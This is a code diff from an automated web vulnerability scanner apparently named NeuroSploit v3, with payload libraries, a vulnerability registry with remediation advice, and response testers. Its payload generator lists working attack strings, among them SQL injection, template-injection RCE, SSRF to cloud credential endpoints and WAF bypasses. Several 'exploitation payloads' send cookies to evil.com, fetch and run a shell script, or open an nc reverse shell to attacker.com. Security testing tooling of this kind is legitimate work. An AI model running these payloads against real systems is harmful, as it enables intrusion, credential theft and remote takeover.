request_data = {
"url": endpoint.url,
"method": endpoint.method,
"payload": payload,
"timestamp": datetime.utcnow().isoformat()
}
try:
# Build the test request
test_url, test_params, test_headers, test_body = tester.build_request(
endpoint=endpoint,
payload=payload
)
# Send the request
async with self.session.request(
method=endpoint.method,
url=test_url,
params=test_params,
headers=test_headers,
data=test_body,
ssl=False,
allow_redirects=False
) as response:
response_text = await response.text()
response_data = {
"status": response.status,
"headers": dict(response.headers),
"body_preview": response_text[:2000] if response_text else "",
"content_length": len(response_text) if response_text else 0
}
# Analyze response for vulnerability
is_vulnerable, confidence, evidence = tester.analyze_response(
payload=payload,
response_status=response.status,
response_headers=dict(response.headers),
response_body=response_text,
context=context
)
return TestResult(
vuln_type=vuln_type,
is_vulnerable=is_vulnerable,
confidence=confidence,
payload=payload,
request_data=request_data,
response_data=response_data,
evidence=evidence
)
except asyncio.TimeoutError:
# Timeout might indicate time-based injection
response_data = {"error": "timeout", "timeout_seconds": self.timeout.total}
is_vulnerable = tester.check_timeout_vulnerability(vuln_type)
return TestResult(
vuln_type=vuln_type,
is_vulnerable=is_vulnerable,
confidence=0.7 if is_vulnerable else 0.0,
payload=payload,
request_data=request_data,
response_data=response_data,
evidence="Request timed out - possible time-based vulnerability" if is_vulnerable else None
)
except Exception as e:
response_data = {"error": str(e)}
return TestResult(
vuln_type=vuln_type,
is_vulnerable=False,
confidence=0.0,
payload=payload,
request_data=request_data,
response_data=response_data,
evidence=None
)
async def _deep_test(
self,
endpoint: Endpoint,
vuln_type: str,
initial_result: TestResult,
tester,
context: Dict
) -> List[TestResult]:
"""
Perform deeper testing after initial vulnerability confirmation.
This helps establish higher confidence and better PoC.
"""
results = []
# Get exploitation payloads
deeper_payloads = await self.payload_generator.get_exploitation_payloads(
vuln_type=vuln_type,
initial_payload=initial_result.payload,
context=context
)
for payload in deeper_payloads[:3]: # Limit to 3 deeper tests
result = await self._execute_test(
endpoint=endpoint,
vuln_type=vuln_type,
payload=payload,
tester=tester,
context=context
)
if result.is_vulnerable:
result.confidence = min(result.confidence + 0.1, 1.0)
results.append(result)
return results
async def create_vulnerability_record(
self,
scan_id: str,
endpoint: Endpoint,
result: TestResult
) -> Vulnerability:
"""Create a vulnerability record from a test result"""
# Get severity based on vulnerability type
severity = self.registry.get_severity(result.vuln_type)
# Get CWE ID
cwe_id = self.registry.get_cwe_id(result.vuln_type)
# Get remediation advice
remediation = self.registry.get_remediation(result.vuln_type)
# Generate title
title = self.registry.get_title(result.vuln_type)
return Vulnerability(
scan_id=scan_id,
title=f"{title} on {endpoint.path or endpoint.url}",
vulnerability_type=result.vuln_type,
severity=severity,
cwe_id=cwe_id,
description=self.registry.get_description(result.vuln_type),
affected_endpoint=endpoint.url,
poc_request=str(result.request_data),
poc_response=str(result.response_data.get("body_preview", ""))[:5000],
poc_payload=result.payload,
impact=self.registry.get_impact(result.vuln_type),
remediation=remediation,
ai_analysis=result.evidence
)
@@ -0,0 +1,385 @@
"""
NeuroSploit v3 - Dynamic Payload Generator
Generates context-aware payloads for vulnerability testing.
"""
from typing import List, Dict, Any, Optional
import json
from pathlib import Path
class PayloadGenerator:
"""
Generates payloads for vulnerability testing.
Features:
- Extensive payload libraries per vulnerability type
- Context-aware payload selection (WAF bypass, encoding)
- Dynamic payload generation based on target info
"""
def __init__(self):
self.payload_libraries = self._load_payload_libraries()
def _load_payload_libraries(self) -> Dict[str, List[str]]:
"""Load comprehensive payload libraries"""
return {
# XSS Payloads
"xss_reflected": [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"<body onload=alert('XSS')>",
"javascript:alert('XSS')",
"<iframe src=\"javascript:alert('XSS')\">",
"<input onfocus=alert('XSS') autofocus>",
"<marquee onstart=alert('XSS')>",
"<details open ontoggle=alert('XSS')>",
"<video><source onerror=alert('XSS')>",
"'-alert('XSS')-'",
"\"-alert('XSS')-\"",
"<script>alert(String.fromCharCode(88,83,83))</script>",
"<img src=x onerror=alert(document.domain)>",
"<svg/onload=alert('XSS')>",
"<body/onload=alert('XSS')>",
"<<script>alert('XSS')//<</script>",
"<ScRiPt>alert('XSS')</sCrIpT>",
"%3Cscript%3Ealert('XSS')%3C/script%3E",
"<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>",
],
"xss_stored": [
"<script>alert('StoredXSS')</script>",
"<img src=x onerror=alert('StoredXSS')>",
"<svg onload=alert('StoredXSS')>",
"javascript:alert('StoredXSS')",
"<a href=javascript:alert('StoredXSS')>click</a>",
],
"xss_dom": [
"#<script>alert('DOMXSS')</script>",
"#\"><script>alert('DOMXSS')</script>",
"javascript:alert('DOMXSS')",
"#'-alert('DOMXSS')-'",
],
# SQL Injection Payloads
"sqli_error": [
"'",
"\"",
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1'/*",
"\" OR \"1\"=\"1",
"1' AND '1'='1",
"1 AND 1=1",
"' AND ''='",
"admin'--",
"') OR ('1'='1",
"' UNION SELECT NULL--",
"1' ORDER BY 1--",
"1' ORDER BY 100--",
"'; WAITFOR DELAY '0:0:5'--",
"1; SELECT SLEEP(5)--",
],
"sqli_union": [
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT NULL,NULL,NULL--",
"' UNION SELECT 1,2,3--",
"' UNION SELECT username,password FROM users--",
"' UNION ALL SELECT NULL,NULL,NULL--",
"' UNION SELECT @@version--",
"' UNION SELECT version()--",
"1 UNION SELECT * FROM information_schema.tables--",
],
"sqli_blind": [
"' AND 1=1--",
"' AND 1=2--",
"' AND 'a'='a",
"' AND 'a'='b",
"1' AND (SELECT COUNT(*) FROM users)>0--",
"' AND SUBSTRING(username,1,1)='a'--",
],
"sqli_time": [
"'; WAITFOR DELAY '0:0:5'--",
"' AND SLEEP(5)--",
"' AND (SELECT SLEEP(5))--",
"'; SELECT pg_sleep(5)--",
"' AND BENCHMARK(10000000,SHA1('test'))--",
"1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
],
# Command Injection
"command_injection": [
"; id",
"| id",
"|| id",
"& id",
"&& id",
"`id`",
"$(id)",
"; whoami",
"| whoami",
"; cat /etc/passwd",
"| cat /etc/passwd",
"; ls -la",
"& dir",
"| type C:\\Windows\\win.ini",
"; ping -c 3 127.0.0.1",
"| ping -n 3 127.0.0.1",
"\n/bin/cat /etc/passwd",
"a]); system('id'); //",
],
# SSTI Payloads
"ssti": [
"{{7*7}}",
"${7*7}",
"#{7*7}",
"<%= 7*7 %>",
"{{7*'7'}}",
"{{config}}",
"{{self}}",
"${T(java.lang.Runtime).getRuntime().exec('id')}",
"{{''.__class__.__mro__[2].__subclasses__()}}",
"{{config.items()}}",
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
"#{T(java.lang.System).getenv()}",
"${{7*7}}",
],
# NoSQL Injection
"nosql_injection": [
'{"$gt": ""}',
'{"$ne": ""}',
'{"$regex": ".*"}',
"admin'||'1'=='1",
'{"username": {"$ne": ""}, "password": {"$ne": ""}}',
'{"$where": "1==1"}',
"true, $where: '1 == 1'",
],
# LFI Payloads
"lfi": [
"../../../etc/passwd",
"....//....//....//etc/passwd",
"..%2f..%2f..%2fetc/passwd",
"..%252f..%252f..%252fetc/passwd",
"/etc/passwd",
"file:///etc/passwd",
"....\\....\\....\\windows\\win.ini",
"..\\..\\..\\windows\\win.ini",
"/proc/self/environ",
"php://filter/convert.base64-encode/resource=index.php",
"php://input",
"expect://id",
"/var/log/apache2/access.log",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
],
# RFI Payloads
"rfi": [
"http://evil.com/shell.txt",
"https://evil.com/shell.txt?",
"//evil.com/shell.txt",
"http://evil.com/shell.txt%00",
],
# Path Traversal
"path_traversal": [
"../",
"..\\",
"....//",
"....\\\\",
"%2e%2e%2f",
"%2e%2e/",
"..%2f",
"%2e%2e%5c",
"..%255c",
"..%c0%af",
"..%c1%9c",
],
# XXE Payloads
"xxe": [
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]><foo></foo>',
],
# SSRF Payloads
"ssrf": [
"http://127.0.0.1",
"http://localhost",
"http://169.254.169.254/latest/meta-data/",
"http://[::1]",
"http://0.0.0.0",
"http://metadata.google.internal/computeMetadata/v1/",
"http://169.254.169.254/metadata/v1/",
"http://127.0.0.1:22",
"http://127.0.0.1:3306",
"http://127.0.0.1:6379",
"file:///etc/passwd",
"dict://127.0.0.1:6379/INFO",
"gopher://127.0.0.1:6379/_INFO",
],
"ssrf_cloud": [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
"http://169.254.169.254/metadata/v1.json",
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
],
# Open Redirect
"open_redirect": [
"https://evil.com",
"//evil.com",
"/\\evil.com",
"https:evil.com",
"//evil.com/%2f%2e%2e",
"////evil.com",
"https://evil.com@trusted.com",
"javascript:alert('redirect')",
],
# CORS Test Origins
"cors_misconfig": [
"https://evil.com",
"https://attacker.com",
"null",
"https://trusted.com.evil.com",
"https://trustedcom.evil.com",
],
# JWT Manipulation
"jwt_manipulation": [
'{"alg":"none"}',
'{"alg":"HS256"}', # Test algorithm confusion
'{"alg":"RS256"}',
],
# Auth Bypass
"auth_bypass": [
"' OR '1'='1",
"admin'--",
"admin' #",
"admin'/*",
"' OR 1=1--",
"admin",
"administrator",
"' OR ''='",
],
# IDOR
"idor": [
"1",
"2",
"0",
"-1",
"999999",
"admin",
"test",
"../1",
],
}
async def get_payloads(
self,
vuln_type: str,
endpoint: Any,
context: Dict[str, Any]
) -> List[str]:
"""
Get payloads for a vulnerability type.
Args:
vuln_type: Type of vulnerability to test
endpoint: Target endpoint
context: Additional context (technologies, WAF, etc.)
Returns:
List of payloads to test
"""
base_payloads = self.payload_libraries.get(vuln_type, [])
if not base_payloads:
# Fallback to similar type
for key in self.payload_libraries:
if vuln_type.startswith(key.split('_')[0]):
base_payloads = self.payload_libraries[key]
break
# If WAF detected, add encoded variants
if context.get("waf_detected"):
base_payloads = self._add_waf_bypasses(base_payloads, vuln_type)
# Limit payloads based on scan depth
depth = context.get("depth", "standard")
limits = {
"quick": 3,
"standard": 10,
"thorough": 20,
"exhaustive": len(base_payloads)
}
limit = limits.get(depth, 10)
return base_payloads[:limit]
async def get_exploitation_payloads(
self,
vuln_type: str,
initial_payload: str,
context: Dict[str, Any]
) -> List[str]:
"""
Generate exploitation payloads after initial vulnerability confirmation.
"""
exploitation_payloads = []
if "xss" in vuln_type:
exploitation_payloads = [
"<script>document.location='http://evil.com/steal?c='+document.cookie</script>",
"<img src=x onerror=fetch('http://evil.com/'+document.cookie)>",
"<script>new Image().src='http://evil.com/?c='+document.cookie</script>",
]
elif "sqli" in vuln_type:
exploitation_payloads = [
"' UNION SELECT table_name,NULL FROM information_schema.tables--",
"' UNION SELECT column_name,NULL FROM information_schema.columns--",
"' UNION SELECT username,password FROM users--",
]
elif "command" in vuln_type:
exploitation_payloads = [
"; cat /etc/shadow",
"; wget http://evil.com/shell.sh -O /tmp/s && bash /tmp/s",
"| nc -e /bin/bash attacker.com 4444",
]
elif "lfi" in vuln_type:
exploitation_payloads = [
"php://filter/convert.base64-encode/resource=../config.php",
"/proc/self/environ",
"/var/log/apache2/access.log",
]
elif "ssrf" in vuln_type:
exploitation_payloads = [
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://127.0.0.1:6379/INFO",
"http://127.0.0.1:3306/",
]
return exploitation_payloads
def _add_waf_bypasses(self, payloads: List[str], vuln_type: str) -> List[str]:
"""Add WAF bypass variants to payloads"""
bypassed = []
for payload in payloads:
bypassed.append(payload)
# URL encoding
bypassed.append(payload.replace("<", "%3C").replace(">", "%3E"))
# Double URL encoding
bypassed.append(payload.replace("<", "%253C").replace(">", "%253E"))
# Case variation
if "<script" in payload.lower():
bypassed.append(payload.replace("script", "ScRiPt"))
return bypassed
+404
View File
@@ -0,0 +1,404 @@
"""
NeuroSploit v3 - Vulnerability Registry
Registry of all vulnerability types and their testers.
Provides metadata, severity info, and tester classes.
"""
from typing import Dict, Optional, Tuple
from backend.core.vuln_engine.testers.base_tester import BaseTester
from backend.core.vuln_engine.testers.injection import (
XSSReflectedTester, XSSStoredTester, XSSDomTester,
SQLiErrorTester, SQLiUnionTester, SQLiBlindTester, SQLiTimeTester,
CommandInjectionTester, SSTITester, NoSQLInjectionTester
)
from backend.core.vuln_engine.testers.file_access import (
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester
)
from backend.core.vuln_engine.testers.request_forgery import (
SSRFTester, CSRFTester
)
from backend.core.vuln_engine.testers.auth import (
AuthBypassTester, JWTManipulationTester, SessionFixationTester
)
from backend.core.vuln_engine.testers.authorization import (
IDORTester, BOLATester, PrivilegeEscalationTester
)
from backend.core.vuln_engine.testers.client_side import (
CORSTester, ClickjackingTester, OpenRedirectTester
)
from backend.core.vuln_engine.testers.infrastructure import (
SecurityHeadersTester, SSLTester, HTTPMethodsTester
)
class VulnerabilityRegistry:
"""
Central registry for all vulnerability types.
Maps vulnerability types to:
- Tester classes
- Severity levels
- CWE IDs
- Descriptions
- Remediation advice
"""
# Vulnerability metadata
VULNERABILITY_INFO = {
# XSS
"xss_reflected": {
"title": "Reflected Cross-Site Scripting (XSS)",
"severity": "medium",
"cwe_id": "CWE-79",
"description": "Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser.",
"impact": "An attacker can execute arbitrary JavaScript in the victim's browser, potentially stealing session cookies, capturing credentials, or performing actions on behalf of the user.",
"remediation": "1. Encode all user input when rendering in HTML context\n2. Use Content-Security-Policy headers\n3. Set HttpOnly flag on sensitive cookies\n4. Use modern frameworks with auto-escaping"
},
"xss_stored": {
"title": "Stored Cross-Site Scripting (XSS)",
"severity": "high",
"cwe_id": "CWE-79",
"description": "Stored XSS occurs when malicious script is permanently stored on the target server, such as in a database, message forum, visitor log, or comment field.",
"impact": "All users who view the affected page will execute the malicious script, leading to mass credential theft, session hijacking, or malware distribution.",
"remediation": "1. Sanitize and validate all user input before storage\n2. Encode output when rendering\n3. Implement Content-Security-Policy\n4. Use HttpOnly and Secure flags on cookies"
},
"xss_dom": {
"title": "DOM-based Cross-Site Scripting",
"severity": "medium",
"cwe_id": "CWE-79",
"description": "DOM-based XSS occurs when client-side JavaScript processes user input and writes it to the DOM in an unsafe way.",
"impact": "Attacker can execute JavaScript in the user's browser through malicious links or user interaction.",
"remediation": "1. Avoid using dangerous DOM sinks (innerHTML, eval, document.write)\n2. Use textContent instead of innerHTML\n3. Sanitize user input on the client side\n4. Implement CSP with strict policies"
},
# SQL Injection
"sqli_error": {
"title": "Error-based SQL Injection",
"severity": "critical",
"cwe_id": "CWE-89",
"description": "SQL injection vulnerability that reveals database errors containing query information, allowing attackers to extract data through error messages.",
"impact": "Complete database compromise including data theft, modification, or deletion. May lead to remote code execution on the database server.",
"remediation": "1. Use parameterized queries/prepared statements\n2. Implement input validation with whitelist approach\n3. Apply least privilege principle for database accounts\n4. Disable detailed error messages in production"
},
"sqli_union": {
"title": "Union-based SQL Injection",
"severity": "critical",
"cwe_id": "CWE-89",
"description": "SQL injection allowing UNION-based queries to extract data from other database tables.",
"impact": "Full database extraction capability. Attacker can read all database tables, users, and potentially escalate to RCE.",
"remediation": "1. Use parameterized queries exclusively\n2. Implement strict input validation\n3. Use stored procedures where appropriate\n4. Monitor for unusual query patterns"
},
"sqli_blind": {
"title": "Blind SQL Injection (Boolean-based)",
"severity": "high",
"cwe_id": "CWE-89",
"description": "SQL injection where results are inferred from application behavior changes rather than direct output.",
"impact": "Slower but complete data extraction is possible. Can lead to full database compromise.",
"remediation": "1. Use parameterized queries\n2. Implement WAF rules for SQL injection patterns\n3. Use connection pooling with timeout limits\n4. Implement query logging and monitoring"
},
"sqli_time": {
"title": "Time-based Blind SQL Injection",
"severity": "high",
"cwe_id": "CWE-89",
"description": "SQL injection where attacker can infer information based on time delays in responses.",
"impact": "Complete data extraction possible, though slower. Can determine database structure and content.",
"remediation": "1. Use parameterized queries\n2. Set strict query timeout limits\n3. Monitor for anomalously slow queries\n4. Implement rate limiting"
},
# Command Injection
"command_injection": {
"title": "OS Command Injection",
"severity": "critical",
"cwe_id": "CWE-78",
"description": "Application passes unsafe user-supplied data to a system shell, allowing execution of arbitrary OS commands.",
"impact": "Complete system compromise. Attacker can execute any command with the application's privileges, potentially gaining full server access.",
"remediation": "1. Avoid shell commands; use native library functions\n2. If shell required, use strict whitelist validation\n3. Never pass user input directly to shell\n4. Run with minimal privileges, use containers"
},
# SSTI
"ssti": {
"title": "Server-Side Template Injection",
"severity": "critical",
"cwe_id": "CWE-94",
"description": "User input is unsafely embedded into server-side templates, allowing template code execution.",
"impact": "Often leads to remote code execution. Attacker can read files, execute commands, and compromise the server.",
"remediation": "1. Never pass user input to template engines\n2. Use logic-less templates when possible\n3. Implement sandbox environments for templates\n4. Validate and sanitize all template inputs"
},
# NoSQL Injection
"nosql_injection": {
"title": "NoSQL Injection",
"severity": "high",
"cwe_id": "CWE-943",
"description": "Injection attack targeting NoSQL databases like MongoDB through operator injection.",
"impact": "Authentication bypass, data theft, and potential server compromise depending on database configuration.",
"remediation": "1. Validate and sanitize all user input\n2. Use parameterized queries where available\n3. Disable server-side JavaScript execution\n4. Apply strict typing to query parameters"
},
# File Access
"lfi": {
"title": "Local File Inclusion",
"severity": "high",
"cwe_id": "CWE-98",
"description": "Application includes local files based on user input, allowing access to sensitive files.",
"impact": "Read sensitive configuration files, source code, and potentially achieve code execution via log poisoning.",
"remediation": "1. Avoid dynamic file inclusion\n2. Use whitelist of allowed files\n3. Validate and sanitize file paths\n4. Implement proper access controls"
},
"rfi": {
"title": "Remote File Inclusion",
"severity": "critical",
"cwe_id": "CWE-98",
"description": "Application includes remote files, allowing execution of attacker-controlled code.",
"impact": "Direct remote code execution. Complete server compromise.",
"remediation": "1. Disable allow_url_include in PHP\n2. Use whitelists for file inclusion\n3. Never use user input in include paths\n4. Implement strict input validation"
},
"path_traversal": {
"title": "Path Traversal",
"severity": "high",
"cwe_id": "CWE-22",
"description": "Application allows navigation outside intended directory through ../ sequences.",
"impact": "Access to sensitive files outside web root, including configuration files and source code.",
"remediation": "1. Validate and sanitize file paths\n2. Use basename() to strip directory components\n3. Implement chroot or containerization\n4. Use whitelist of allowed directories"
},
"xxe": {
"title": "XML External Entity Injection",
"severity": "high",
"cwe_id": "CWE-611",
"description": "XML parser processes external entity references, allowing file access or SSRF.",
"impact": "Read local files, perform SSRF attacks, and potentially achieve denial of service.",
"remediation": "1. Disable external entity processing\n2. Use JSON instead of XML where possible\n3. Validate and sanitize XML input\n4. Use updated XML parsers with secure defaults"
},
"file_upload": {
"title": "Arbitrary File Upload",
"severity": "high",
"cwe_id": "CWE-434",
"description": "Application allows uploading of dangerous file types that can be executed.",
"impact": "Upload of web shells leading to remote code execution and complete server compromise.",
"remediation": "1. Validate file type using magic bytes\n2. Rename uploaded files\n3. Store outside web root\n4. Disable execution in upload directory"
},
# Request Forgery
"ssrf": {
"title": "Server-Side Request Forgery",
"severity": "high",
"cwe_id": "CWE-918",
"description": "Application makes requests to attacker-specified URLs, accessing internal resources.",
"impact": "Access to internal services, cloud metadata, and potential for pivoting to internal networks.",
"remediation": "1. Implement URL whitelist\n2. Block requests to internal IPs\n3. Disable unnecessary URL schemes\n4. Use network segmentation"
},
"ssrf_cloud": {
"title": "SSRF to Cloud Metadata",
"severity": "critical",
"cwe_id": "CWE-918",
"description": "SSRF vulnerability allowing access to cloud provider metadata services.",
"impact": "Credential theft, full cloud account compromise, lateral movement in cloud infrastructure.",
"remediation": "1. Block requests to metadata IPs\n2. Use IMDSv2 (AWS) or equivalent\n3. Implement strict URL validation\n4. Use firewall rules for metadata endpoints"
},
"csrf": {
"title": "Cross-Site Request Forgery",
"severity": "medium",
"cwe_id": "CWE-352",
"description": "Application allows state-changing requests without proper origin validation.",
"impact": "Attacker can perform actions as authenticated users, including transfers, password changes, or data modification.",
"remediation": "1. Implement anti-CSRF tokens\n2. Verify Origin/Referer headers\n3. Use SameSite cookie attribute\n4. Require re-authentication for sensitive actions"
},
# Authentication
"auth_bypass": {
"title": "Authentication Bypass",
"severity": "critical",
"cwe_id": "CWE-287",
"description": "Authentication mechanisms can be bypassed through various techniques.",
"impact": "Complete unauthorized access to user accounts and protected resources.",
"remediation": "1. Implement proper authentication checks on all routes\n2. Use proven authentication frameworks\n3. Implement account lockout\n4. Use MFA for sensitive accounts"
},
"jwt_manipulation": {
"title": "JWT Token Manipulation",
"severity": "high",
"cwe_id": "CWE-347",
"description": "JWT implementation vulnerabilities allowing token forgery or manipulation.",
"impact": "Authentication bypass, privilege escalation, and identity impersonation.",
"remediation": "1. Always verify JWT signatures\n2. Use strong signing algorithms (RS256)\n3. Validate all claims including exp and iss\n4. Implement token refresh mechanisms"
},
"session_fixation": {
"title": "Session Fixation",
"severity": "medium",
"cwe_id": "CWE-384",
"description": "Application accepts session tokens from URL parameters or doesn't regenerate after login.",
"impact": "Attacker can hijack user sessions by fixing known session IDs.",
"remediation": "1. Regenerate session ID after login\n2. Only accept session from cookies\n3. Implement secure session management\n4. Use short session timeouts"
},
# Authorization
"idor": {
"title": "Insecure Direct Object Reference",
"severity": "high",
"cwe_id": "CWE-639",
"description": "Application exposes internal object IDs without proper authorization checks.",
"impact": "Unauthorized access to other users' data, potentially exposing sensitive information.",
"remediation": "1. Implement proper authorization checks\n2. Use indirect references or UUIDs\n3. Validate user ownership of resources\n4. Implement access control lists"
},
"bola": {
"title": "Broken Object Level Authorization",
"severity": "high",
"cwe_id": "CWE-639",
"description": "API endpoints don't properly validate object-level permissions.",
"impact": "Access to any object by manipulating IDs, leading to mass data exposure.",
"remediation": "1. Implement object-level authorization\n2. Validate permissions on every request\n3. Use authorization middleware\n4. Log and monitor access patterns"
},
"privilege_escalation": {
"title": "Privilege Escalation",
"severity": "critical",
"cwe_id": "CWE-269",
"description": "User can elevate privileges to access higher-level functionality.",
"impact": "User can gain admin access, access to all data, and full system control.",
"remediation": "1. Implement role-based access control\n2. Validate roles on every request\n3. Use principle of least privilege\n4. Monitor for privilege escalation attempts"
},
# Client-side
"cors_misconfig": {
"title": "CORS Misconfiguration",
"severity": "medium",
"cwe_id": "CWE-942",
"description": "Overly permissive CORS policy allows cross-origin requests from untrusted domains.",
"impact": "Cross-origin data theft and unauthorized API access from malicious websites.",
"remediation": "1. Implement strict origin whitelist\n2. Avoid Access-Control-Allow-Origin: *\n3. Validate Origin header server-side\n4. Don't reflect Origin without validation"
},
"clickjacking": {
"title": "Clickjacking",
"severity": "medium",
"cwe_id": "CWE-1021",
"description": "Application can be framed by malicious pages, tricking users into clicking hidden elements.",
"impact": "Users can be tricked into performing unintended actions like transfers or permission grants.",
"remediation": "1. Set X-Frame-Options: DENY\n2. Implement frame-ancestors CSP directive\n3. Use JavaScript frame-busting as backup\n4. Require confirmation for sensitive actions"
},
"open_redirect": {
"title": "Open Redirect",
"severity": "low",
"cwe_id": "CWE-601",
"description": "Application redirects to user-specified URLs without validation.",
"impact": "Phishing attacks using trusted domain, credential theft, and reputation damage.",
"remediation": "1. Use whitelist for redirect destinations\n2. Validate redirect URLs server-side\n3. Don't use user input directly in redirects\n4. Warn users before redirecting externally"
},
# Infrastructure
"security_headers": {
"title": "Missing Security Headers",
"severity": "low",
"cwe_id": "CWE-693",
"description": "Application doesn't set important security headers like CSP, HSTS, X-Frame-Options.",
"impact": "Increased risk of XSS, clickjacking, and MITM attacks.",
"remediation": "1. Implement Content-Security-Policy\n2. Enable Strict-Transport-Security\n3. Set X-Frame-Options and X-Content-Type-Options\n4. Configure Referrer-Policy"
},
"ssl_issues": {
"title": "SSL/TLS Configuration Issues",
"severity": "medium",
"cwe_id": "CWE-326",
"description": "Weak SSL/TLS configuration including outdated protocols or weak ciphers.",
"impact": "Traffic interception, credential theft, and man-in-the-middle attacks.",
"remediation": "1. Disable SSLv3, TLS 1.0, TLS 1.1\n2. Use strong cipher suites only\n3. Enable HSTS with preload\n4. Implement certificate pinning for mobile apps"
},
"http_methods": {
"title": "Dangerous HTTP Methods Enabled",
"severity": "low",
"cwe_id": "CWE-749",
"description": "Server allows potentially dangerous HTTP methods like TRACE, PUT, DELETE without proper restrictions.",
"impact": "Potential for XST attacks, unauthorized file uploads, or resource manipulation.",
"remediation": "1. Disable unnecessary HTTP methods\n2. Configure web server to reject TRACE/TRACK\n3. Implement proper authorization for PUT/DELETE\n4. Use web application firewall"
},
# Logic
"race_condition": {
"title": "Race Condition",
"severity": "medium",
"cwe_id": "CWE-362",
"description": "Application has race conditions that can be exploited through concurrent requests.",
"impact": "Double-spending, bypassing limits, or corrupting data through timing attacks.",
"remediation": "1. Implement proper locking mechanisms\n2. Use atomic database operations\n3. Implement idempotency keys\n4. Add proper synchronization"
},
"business_logic": {
"title": "Business Logic Vulnerability",
"severity": "varies",
"cwe_id": "CWE-840",
"description": "Flaw in application's business logic allowing unintended behavior.",
"impact": "Varies based on specific flaw - could range from minor to critical impact.",
"remediation": "1. Review business logic flows\n2. Implement comprehensive validation\n3. Add server-side checks for all rules\n4. Test edge cases and negative scenarios"
}
}
# Tester class mappings
TESTER_CLASSES = {
"xss_reflected": XSSReflectedTester,
"xss_stored": XSSStoredTester,
"xss_dom": XSSDomTester,
"sqli_error": SQLiErrorTester,
"sqli_union": SQLiUnionTester,
"sqli_blind": SQLiBlindTester,
"sqli_time": SQLiTimeTester,
"command_injection": CommandInjectionTester,
"ssti": SSTITester,
"nosql_injection": NoSQLInjectionTester,
"lfi": LFITester,
"rfi": RFITester,
"path_traversal": PathTraversalTester,
"xxe": XXETester,
"file_upload": FileUploadTester,
"ssrf": SSRFTester,
"ssrf_cloud": SSRFTester, # Same tester, different payloads
"csrf": CSRFTester,
"auth_bypass": AuthBypassTester,
"jwt_manipulation": JWTManipulationTester,
"session_fixation": SessionFixationTester,
"idor": IDORTester,
"bola": BOLATester,
"privilege_escalation": PrivilegeEscalationTester,
"cors_misconfig": CORSTester,
"clickjacking": ClickjackingTester,
"open_redirect": OpenRedirectTester,
"security_headers": SecurityHeadersTester,
"ssl_issues": SSLTester,
"http_methods": HTTPMethodsTester,
}
def __init__(self):
self._tester_cache = {}
def get_tester(self, vuln_type: str) -> BaseTester:
"""Get tester instance for a vulnerability type"""
if vuln_type in self._tester_cache:
return self._tester_cache[vuln_type]
tester_class = self.TESTER_CLASSES.get(vuln_type, BaseTester)
tester = tester_class()
self._tester_cache[vuln_type] = tester
return tester
def get_severity(self, vuln_type: str) -> str:
"""Get severity for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("severity", "medium")
def get_cwe_id(self, vuln_type: str) -> str:
"""Get CWE ID for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("cwe_id", "")
def get_title(self, vuln_type: str) -> str:
"""Get title for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("title", vuln_type.replace("_", " ").title())
def get_description(self, vuln_type: str) -> str:
"""Get description for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("description", "")
def get_impact(self, vuln_type: str) -> str:
"""Get impact for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("impact", "")
def get_remediation(self, vuln_type: str) -> str:
"""Get remediation advice for a vulnerability type"""
info = self.VULNERABILITY_INFO.get(vuln_type, {})
return info.get("remediation", "")
@@ -0,0 +1,3 @@
from backend.core.vuln_engine.testers.base_tester import BaseTester
__all__ = ["BaseTester"]
+124
View File
@@ -0,0 +1,124 @@
"""
NeuroSploit v3 - Authentication Vulnerability Testers
Testers for Auth Bypass, JWT, Session Fixation
"""
import re
import base64
import json
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class AuthBypassTester(BaseTester):
"""Tester for Authentication Bypass"""
def __init__(self):
super().__init__()
self.name = "auth_bypass"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for authentication bypass"""
# Check for successful auth indicators after bypass payload
auth_success = [
"welcome", "dashboard", "logged in", "authenticated",
"success", "admin", "profile"
]
if response_status == 200:
body_lower = response_body.lower()
for indicator in auth_success:
if indicator in body_lower:
# Check if this was with a bypass payload
bypass_indicators = ["' or '1'='1", "admin'--", "' or 1=1"]
if any(bp in payload.lower() for bp in bypass_indicators):
return True, 0.8, f"Auth bypass possible: '{indicator}' found after injection"
# Check for redirect to authenticated area
location = response_headers.get("Location", "")
if response_status in [301, 302]:
if "dashboard" in location or "admin" in location or "home" in location:
return True, 0.7, f"Auth bypass: Redirect to {location}"
return False, 0.0, None
class JWTManipulationTester(BaseTester):
"""Tester for JWT Token Manipulation"""
def __init__(self):
super().__init__()
self.name = "jwt_manipulation"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
